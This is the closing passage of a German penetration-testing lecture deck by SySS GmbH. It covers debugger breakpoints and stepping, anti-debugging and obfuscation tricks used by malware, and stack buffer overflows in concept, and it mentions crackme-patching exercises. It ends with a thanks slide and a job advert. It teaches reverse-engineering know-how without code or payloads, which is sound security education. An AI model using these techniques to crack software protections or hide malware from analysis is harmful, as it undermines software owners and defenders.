Beispiel: EXCEPTION_DEBUG_EVENT
Event tritt auf, wenn im Programm eine Ausnahme (Exception) auftritt:
• Zugriffsverletzung
• Division durch 0
• Haltepunkt
![Page 272: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/272.jpg)
Daniel Schalberger, SySS GmbH
272 März 2015 Penetration Testing
Software-Haltepunkte
Ermöglichen das Unterbrechen eines Programms an einer festgelegten Stelle
Erlauben das Überspringen von unwichtigen oder bekannten Programmteilen (z.B. Schleifen)
An der Haltepunkt-Position wird der Original-Maschinencode durch die Anweisung „int 3“ (Opcode \xCC) ersetzt
Bei Fortsetzung des Programms wird der Originalbefehl wiederhergestellt
![Page 273: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/273.jpg)
Daniel Schalberger, SySS GmbH
273 März 2015 Penetration Testing
Hardware-Haltepunkte
• werden über spezielle Debug-Register implementiert
• Maximal 4 Haltepunkte möglich
• Programmcode bleibt unberührt
• Können auch auf Daten (lesen & schreiben) gesetzt werden
• Erleichtern das Auffinden relevanter Code-Teile
![Page 274: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/274.jpg)
Daniel Schalberger, SySS GmbH
274 März 2015 Penetration Testing
Speicher-Haltepunkte
Einzelne Speicherseiten (4KB) können entsprechend markiert werden (Guard Page)
Der Debugger muss entscheiden, ob tatsächlich die gesuchte Adresse angesprochen wurde
![Page 275: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/275.jpg)
Daniel Schalberger, SySS GmbH
275 März 2015 Penetration Testing
Einzelschritt-Ausführung
• Ausführen einer einzelnen Anweisung, dann Unterbrechung und Rückkehr zum Debugger
• Folgen von Funktions-Aufrufen („step into“)
• Wird implementiert über Trap-Flag (Teil des Flags-Registers)
![Page 276: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/276.jpg)
Daniel Schalberger, SySS GmbH
276 März 2015 Penetration Testing
Prozedurschritt
Wird nicht nativ unterstützt
Simulation mit Hilfe von Software-Breakpoints
Ist nächste Anweisung ein call?
nein Einzelschritt
ja Haltepunkt dahinter setzen und normale Ausführung
![Page 277: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/277.jpg)
Daniel Schalberger, SySS GmbH
277 März 2015 Penetration Testing
Übung: CrackmeX.exe
Crackme1.exe:
1. Passwort herausfinden
2. patchen
(Crackme2.exe: Key-Algorithmus in Erfahrung bringen)
![Page 278: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/278.jpg)
Daniel Schalberger, SySS GmbH
278 März 2015 Penetration Testing
Anti-Debugging
Einige Programme (insbesondere Malware) wehren sich gegen dynamische Analyse. Möglichkeiten: • Win32-API-Aufruf IsDebuggerPresent • Win32-API-Aufruf CheckRemoteDebuggerPresent • Eigenen Code nach Haltepunkten scannen • Zeitnahme (Haltepunkte etc. ) • Win32-API-Aufruf FindWindow (suche nach Debug-
Fenster) • Programm debuggt sich selbst
![Page 279: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/279.jpg)
Daniel Schalberger, SySS GmbH
279 März 2015 Penetration Testing
Obfuskierung
• String-Verschlüsselung (XOR, etc.)
• Junk Code Insertion
• Self-Modifying Code
• Unaligned Branches
![Page 280: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/280.jpg)
Daniel Schalberger, SySS GmbH
280 März 2015 Penetration Testing
Optimierung
Lesbarkeit von Assemblercode wird durch Compiler-Optimierung reduziert:
• Eliminierung von ungenutzten Code-Zeilen • Verschachtelung von Codeblöcken (Parallelisierung) • Loop Unrolling • LEA, XOR, SHR • Vermeidung von bedingten Sprüngen • Register-Variablen • …
![Page 281: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/281.jpg)
Daniel Schalberger, SySS GmbH
281 März 2015 Penetration Testing
Buffer Overflow
• Wenn zuviele Daten in eine lokale Stack-Variable
geschrieben werden, kommt es zur Überschreibung des Stack-Frame. Tritt z.B. auf bei: Eingaben aus Datei, über Netzwerk
• Rücksprungadresse wird überschrieben • Am Ende der Funktion wird an andere Adresse
zurückgesprungen • Manchmal ist es möglich, in den übermittelten Inhalt zu
springen Ausführung beliebigen Codes
Übung: Hello.exe
![Page 282: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/282.jpg)
Daniel Schalberger, SySS GmbH
282 März 2015 Penetration Testing
Das wars.
Vielen Dank für Ihre Aufmerksamkeit!
Fragen: [email protected]
![Page 283: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/283.jpg)
Daniel Schalberger, SySS GmbH
283 März 2015 Penetration Testing
DU LIEBST HACKEN? WIR AUCH!
Du
• hast keine Lust auf was Halbgares, sondern lässt dich auf deine Aufgabe ein
• hast eine Idee für eine spannende Abschlussarbeit im Bereich IT-Sicherheit
• möchtest dein Wissen beim Marktführer für Pentests einbringen
• suchst ein Unternehmen mit freundschaftlichem Arbeitsklima und
• stehst auf der guten Seite?
Wir bieten dir • die Betreuung deiner Abschlussarbeit • eine Festanstellung als IT Security Consultant Weitere Informationen: http://www.syss.de/karriere Sichere dir eine spannende Zukunft. Bewirb dich bei SySS! [email protected]
SySS GmbH Wohlboldstraße 8 72072 Tübingen Tel. +49 (0)7071-407856-77